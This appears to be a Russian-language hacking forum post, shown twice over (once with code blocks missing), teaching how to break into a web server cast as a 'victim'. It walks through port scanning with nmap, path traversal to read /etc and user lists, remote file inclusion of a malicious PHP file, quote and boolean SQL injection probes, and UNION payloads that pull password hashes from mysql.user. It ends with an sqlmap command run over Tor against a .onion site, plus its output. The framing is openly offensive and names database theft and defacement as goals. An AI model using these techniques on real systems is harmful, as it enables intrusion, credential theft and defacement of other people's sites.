- Сообщения
- 3.376
- Реакции
- 8.466
- Продажи
- 7
- Кешбек
- 0.66$
Лазить по корпоративным сетям, оно конечно, дело пользительное, спору нет. Но главной приманкой, главным “сладким х.ем” кулхацкера, ясен пень, является веб-сервер, на коем и зиждется современная сеть. Не пытаясь в формате обзорной статьи объять необъятное, постараемся осветить основные связанные с этим моменты.
Вот, скажем, заинтересовал кулхацкера некий сервер
Устанавливаем IP сервера путём пинга:
(По русски – “Сладкий Лох”)
Получаем ответ, что-то вроде:
И теперь командуем:
И получаем результат, что-то вроде:
И так далее. То, что мы видим, это порты DNS, HTTP и SSL/HTTPS соответственно. Бывают ещё разные службы и сервисы, telnet, ssh, rlogin, finger и прочие, необходимые для работы в сети. И всё это кулхацкер может использовать в своих целях при наличии уязвимостей(вулнерабилитиз) в программном обеспечении(серверах, демонах) и ошибок в их настройке косорукими админами.
Как правило, в первую очередь атаке подвергается HTTP-сервер с целью стянуть/модифицировать лежащие на нём какие-либо базы данных и извлечь профит из них либо просто совершить дефейс, т.е разместить на сайте жертвы палестинский флаг, голую задницу или что-то в этом роде оскорбительное, как если бы крадун, обнеся дом, оставил кучу говна в гостиной
Если сайт состоит из простых html-страниц, сделать ему что-то тяжело, но если на нём осуществляется PHP-сценарий и имеются некие данные, которые можно вводить в базу данных(SQL) методами GET и POST, это даёт шанс просунуть своё жало 
Вкратце об этих методах. Как уже было сказано, методы эти используются протоколом http для отправки данных на сервер с целью сделать сайт более интерактивным и для взаимодействия с посетителем. При этом данные попадают в массивы $_GET и $_POST при работе сайта на языке PHP; переданный на сервер параметр с именем "parameter", будет доступен как $_GET['parameter'] или $_POST['parameter']. Запрос GET передает данные в URL в виде пар имя-значение, т.е. через ссылку, а запрос POST передает данные в теле запроса через форму запроса, имеющуюся в страничке.
Параметры, которые получают сценарии, очень часто являются потенциальным источником ошибки. Кулхацкер может сформировать определенным хитрым образом запрос и если сценарий неверно обрабатывает полученные параметры или просто не проверяет их на корректность, то злоумышленник может повысить свои привилегии, управлять базой данных сервера и даже выполнять в командной строке различные команды. К примеру, URL сайта “Сладкий Лох” имеет вид:
А мы хитрожопим и пишем в запросе:
Сиречь указываем системную папку UNIX и файл “какой угодно”. И вдруг, откуда ни возьмись, на ширмачка видим содержимое директории /etc, поскольку наивный админ забыл в PHP-сценарии отфильтровать слэш и одиночную точку. А написав:
получаем список пользователей системы, указание установленной операционной системы и учётную запись админа. Кстати, имена параметров типа dir, file и тому подобные манят кулхацкера, как кота валерьянка, поэтому админам их рекомендуется избегать.
Можно также создать на своем Web-сервере злонамеренный файл именем hack к примеру
c расширением php, например,
Теперь ваш сценарий выполнит содержимое файла
Теперь остановимся на такой манипуляции с базой данных Сладкого Лоха, как SQL-инъекция. В чём её идея? На одном из форумов красноглазиков я нашёл такую забавную притчу-интерпретацию.
Отец семейства, простой работяга, отправляясь на работу, написал в записке домохозяйке-матушке, чтобы она выдала сыну Васе 100 рублей на покупки, что то вроде:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе
Поскольку малограмотный отец коряво написал записку и наивно оставил её на столе, её увидел брат Васи — пьющий лоботряс Петя. Не будь дурак, Петя дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете
Матушка, прочитав записку, решила, что Васе она давала деньги вчера, и дала 100 рублей бездельнику алкашу Пете. Вот простой пример SQL-инъекции из жизни: приписав свои слова и фальсифицировав аутентичную записку, написанную при этом плохим почерком, Петя выцыганил себе денежек на пузырь.
В соответствии с этим принципом, при проверке сайта жертвы на инжектируемость следует передавать во всех параметрах различный мусор, среди которого особую роль играет “магическая” одинарная кавычка, попросту знак ‘ и смотреть, что ответит сайт, например:
либо
Если при попытки зайти на такие страницы появляется ошибка, сайт уязвим к инъекциям и параметр инжектируемый, поскольку кавычку не отэкранировало! (Для экранирования символов админы используют в сценариях, например, функцию addslashes($str);, которая возвращает строку $str с добавленным обратным слешем \ перед каждым специальным символом; также в SQL-выражениях используют функции mysql_escape_string($str); и mysql_real_escape_string($str);)
Также можно попробовать запросы наподобие
либо
Здесь %20 означает пробел по таблице ANSII
1=0 это означает FALSE естественно, а 1=1 TRUE, а такая проверка называется BOOLEAN BASED.
Тоже смотрим, покажет страницу или не покажет. Если при 1=0 не покажет, а при 1=1 покажет, то параметр инжектируем. Также наряду с AND можно использовать OR(логическое сложение).
Теперь о том, как извлечь пользу из этого. В зависимости от того, какая информация нам нужна, дописываем к запросу что-то вроде(+ тоже интерпретируется как пробел):
или
И получаем требуемую информацию из таблиц в виде
Оператор UNION объединяет запросы, SELECT служит для выбора информации из БД.
Инъекции бывают ERROR BASED, BOOLEAN BASED, TIME BASED, UNION QUERY BASED, STACKED QUERY BASED.
Самое главное – найти потенциальную инъекцию с помощью внедрённого в запрос “мусора”, а потом с помощью правильно составленного нового запроса вытащить информацию в виде таблицы из базы данных.
Автоматизировать эту работу позволяют разнообразные сканеры инъекций, одним из них является sqlmap, работающий к тому же в одном из режимов через ТОР.
Пример(командная строка Линукс):
И программа начинает нудно дрючить сайт-жертву всеми возможными способами инъекций, в попытке прокнокать-прознать что-то путное. Додрючивать потом всё равно прийдётся руками, все эти сканеры хороши именно для разведки.
А на выходе мы видим нечто подобное, если будет инжектируемый параметр найден-таки, его подсветит изумрудно-зелёненьким!
Вот, скажем, заинтересовал кулхацкера некий сервер
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
– что будет делать наш проныра? Для начала попытается установить, какие службы и сервисы(демоны) на нём имеют место быть, а для этого используют сканерок, к примеру, линуксовый nmap. Ведь если в бетонной стене нет никаких окон и лазов, какой от неё толк?Устанавливаем IP сервера путём пинга:
Код:
ping www.sweetsimpleton.com
(По русски – “Сладкий Лох”)
Получаем ответ, что-то вроде:
Код:
PING www.sweetsimpleton.com (208.91.197.27) 56(84) bytes of data.
64 bytes from 208.91.197.27: icmp_seq=1 ttl=236 time=199 ms
64 bytes from 208.91.197.27: icmp_seq=2 ttl=236 time=199 ms
64 bytes from 208.91.197.27: icmp_seq=3 ttl=236 time=190 ms
64 bytes from 208.91.197.27: icmp_seq=4 ttl=236 time=190 ms
64 bytes from 208.91.197.27: icmp_seq=5 ttl=236 time=196 ms
64 bytes from 208.91.197.27: icmp_seq=6 ttl=236 time=192 ms
--- www.sweetsimpleton.com ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 14214ms
rtt min/avg/max/mdev = 189.682/194.267/199.064/3.892 ms
И теперь командуем:
Код:
sudo nmap -sS -p1-65535 -v 208.91.197.27
И получаем результат, что-то вроде:
Код:
Scanning 208.91.197.27 [65535 ports]
Discovered open port 53/tcp on 208.91.197.27
Discovered open port 80/tcp on 208.91.197.27
Discovered open port 443/tcp on 208.91.197.27
И так далее. То, что мы видим, это порты DNS, HTTP и SSL/HTTPS соответственно. Бывают ещё разные службы и сервисы, telnet, ssh, rlogin, finger и прочие, необходимые для работы в сети. И всё это кулхацкер может использовать в своих целях при наличии уязвимостей(вулнерабилитиз) в программном обеспечении(серверах, демонах) и ошибок в их настройке косорукими админами.
Как правило, в первую очередь атаке подвергается HTTP-сервер с целью стянуть/модифицировать лежащие на нём какие-либо базы данных и извлечь профит из них либо просто совершить дефейс, т.е разместить на сайте жертвы палестинский флаг, голую задницу или что-то в этом роде оскорбительное, как если бы крадун, обнеся дом, оставил кучу говна в гостиной
Если сайт состоит из простых html-страниц, сделать ему что-то тяжело, но если на нём осуществляется PHP-сценарий и имеются некие данные, которые можно вводить в базу данных(SQL) методами GET и POST, это даёт шанс просунуть своё жало 
Вкратце об этих методах. Как уже было сказано, методы эти используются протоколом http для отправки данных на сервер с целью сделать сайт более интерактивным и для взаимодействия с посетителем. При этом данные попадают в массивы $_GET и $_POST при работе сайта на языке PHP; переданный на сервер параметр с именем "parameter", будет доступен как $_GET['parameter'] или $_POST['parameter']. Запрос GET передает данные в URL в виде пар имя-значение, т.е. через ссылку, а запрос POST передает данные в теле запроса через форму запроса, имеющуюся в страничке.
Параметры, которые получают сценарии, очень часто являются потенциальным источником ошибки. Кулхацкер может сформировать определенным хитрым образом запрос и если сценарий неверно обрабатывает полученные параметры или просто не проверяет их на корректность, то злоумышленник может повысить свои привилегии, управлять базой данных сервера и даже выполнять в командной строке различные команды. К примеру, URL сайта “Сладкий Лох” имеет вид:
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
А мы хитрожопим и пишем в запросе:
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
=.Сиречь указываем системную папку UNIX и файл “какой угодно”. И вдруг, откуда ни возьмись, на ширмачка видим содержимое директории /etc, поскольку наивный админ забыл в PHP-сценарии отфильтровать слэш и одиночную точку. А написав:
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
получаем список пользователей системы, указание установленной операционной системы и учётную запись админа. Кстати, имена параметров типа dir, file и тому подобные манят кулхацкера, как кота валерьянка, поэтому админам их рекомендуется избегать.
Можно также создать на своем Web-сервере злонамеренный файл именем hack к примеру
c расширением php, например,
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
и передать этот файл в качестве параметра:
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
Теперь ваш сценарий выполнит содержимое файла
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
, если файл в сценарии подключается с помощью функции include () или require().Теперь остановимся на такой манипуляции с базой данных Сладкого Лоха, как SQL-инъекция. В чём её идея? На одном из форумов красноглазиков я нашёл такую забавную притчу-интерпретацию.
Отец семейства, простой работяга, отправляясь на работу, написал в записке домохозяйке-матушке, чтобы она выдала сыну Васе 100 рублей на покупки, что то вроде:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе
Поскольку малограмотный отец коряво написал записку и наивно оставил её на столе, её увидел брат Васи — пьющий лоботряс Петя. Не будь дурак, Петя дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете
Матушка, прочитав записку, решила, что Васе она давала деньги вчера, и дала 100 рублей бездельнику алкашу Пете. Вот простой пример SQL-инъекции из жизни: приписав свои слова и фальсифицировав аутентичную записку, написанную при этом плохим почерком, Петя выцыганил себе денежек на пузырь.
В соответствии с этим принципом, при проверке сайта жертвы на инжектируемость следует передавать во всех параметрах различный мусор, среди которого особую роль играет “магическая” одинарная кавычка, попросту знак ‘ и смотреть, что ответит сайт, например:
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
’либо
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
’&product=9Если при попытки зайти на такие страницы появляется ошибка, сайт уязвим к инъекциям и параметр инжектируемый, поскольку кавычку не отэкранировало! (Для экранирования символов админы используют в сценариях, например, функцию addslashes($str);, которая возвращает строку $str с добавленным обратным слешем \ перед каждым специальным символом; также в SQL-выражениях используют функции mysql_escape_string($str); и mysql_real_escape_string($str);)
Также можно попробовать запросы наподобие
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
либо
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
&product=9%20and%201=1Здесь %20 означает пробел по таблице ANSII
1=0 это означает FALSE естественно, а 1=1 TRUE, а такая проверка называется BOOLEAN BASED.
Тоже смотрим, покажет страницу или не покажет. Если при 1=0 не покажет, а при 1=1 покажет, то параметр инжектируем. Также наряду с AND можно использовать OR(логическое сложение).
Теперь о том, как извлечь пользу из этого. В зависимости от того, какая информация нам нужна, дописываем к запросу что-то вроде(+ тоже интерпретируется как пробел):
Код:
?id=1+union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns
или
Код:
%20union%20select%20mysql.user.password,USER(),VERSION(),4444%20from%20mysql.user/*
И получаем требуемую информацию из таблиц в виде
Код:
0 | table1:column1 || 0 | table1:column2 |
Оператор UNION объединяет запросы, SELECT служит для выбора информации из БД.
Инъекции бывают ERROR BASED, BOOLEAN BASED, TIME BASED, UNION QUERY BASED, STACKED QUERY BASED.
Самое главное – найти потенциальную инъекцию с помощью внедрённого в запрос “мусора”, а потом с помощью правильно составленного нового запроса вытащить информацию в виде таблицы из базы данных.
Автоматизировать эту работу позволяют разнообразные сканеры инъекций, одним из них является sqlmap, работающий к тому же в одном из режимов через ТОР.
Пример(командная строка Линукс):
Код:
sqlmap -u "http://*************************7njhwuahc2l67lfiz7z36md2jvopda7nchid.onion/cgi?catalog=5®ion_id=6" -data="catalog=5" --tor --check-tor --tor-port=9050 --tor-type=SOCKS5 --current-user --passwords --dbs --dbms=Oracle --tables -f --risk=3 –level=5
И программа начинает нудно дрючить сайт-жертву всеми возможными способами инъекций, в попытке прокнокать-прознать что-то путное. Додрючивать потом всё равно прийдётся руками, все эти сканеры хороши именно для разведки.
А на выходе мы видим нечто подобное, если будет инжектируемый параметр найден-таки, его подсветит изумрудно-зелёненьким!
Код:
___
__H__
___ ___[(]_____ ___ ___ {1.4.4#stable}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:56:11 /2021-09-26/
[15:56:11] [WARNING] increasing default value for option '--time-sec' to 10 because switch '--tor' was provided
[15:56:11] [INFO] setting Tor SOCKS proxy settings
[15:56:11] [INFO] checking Tor connection
[15:56:14] [INFO] Tor is properly being used
[15:56:15] [INFO] testing connection to the target URL
[15:56:18] [WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the tests
[15:56:18] [INFO] testing if the target URL content is stable
[15:56:19] [INFO] target URL content is stable
[15:56:19] [INFO] testing if POST parameter 'catalog' is dynamic
[15:56:19] [WARNING] POST parameter 'catalog' does not appear to be dynamic
[15:56:20] [WARNING] heuristic (basic) test shows that POST parameter 'catalog' might not be injectable
[15:56:21] [INFO] testing for SQL injection on POST parameter 'catalog'
[15:56:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:56:50] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[15:57:34] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[15:58:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[15:58:23] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[15:58:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[15:58:56] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (comment)'
[15:59:03] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - comment)'
[15:59:08] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:59:08] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
[15:59:09] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL - original value)'
[15:59:09] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
[15:59:09] [INFO] testing 'Boolean-based blind - Parameter replace (CASE - original value)'
[15:59:09] [INFO] testing 'HAVING boolean-based blind - WHERE, GROUP BY clause'
[15:59:30] [INFO] testing 'Generic inline queries'
[15:59:31] [INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[15:59:54] [INFO] testing 'Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[16:00:49] [INFO] testing 'Oracle boolean-based blind - Parameter replace'
[16:00:50] [INFO] testing 'Oracle boolean-based blind - Parameter replace (original value)'
[16:00:50] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY clause'
[16:00:51] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[16:00:51] [INFO] testing 'Oracle boolean-based blind - Stacked queries'
[16:01:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[16:01:33] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (XMLType)'
[16:01:57] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
Последнее редактирование:
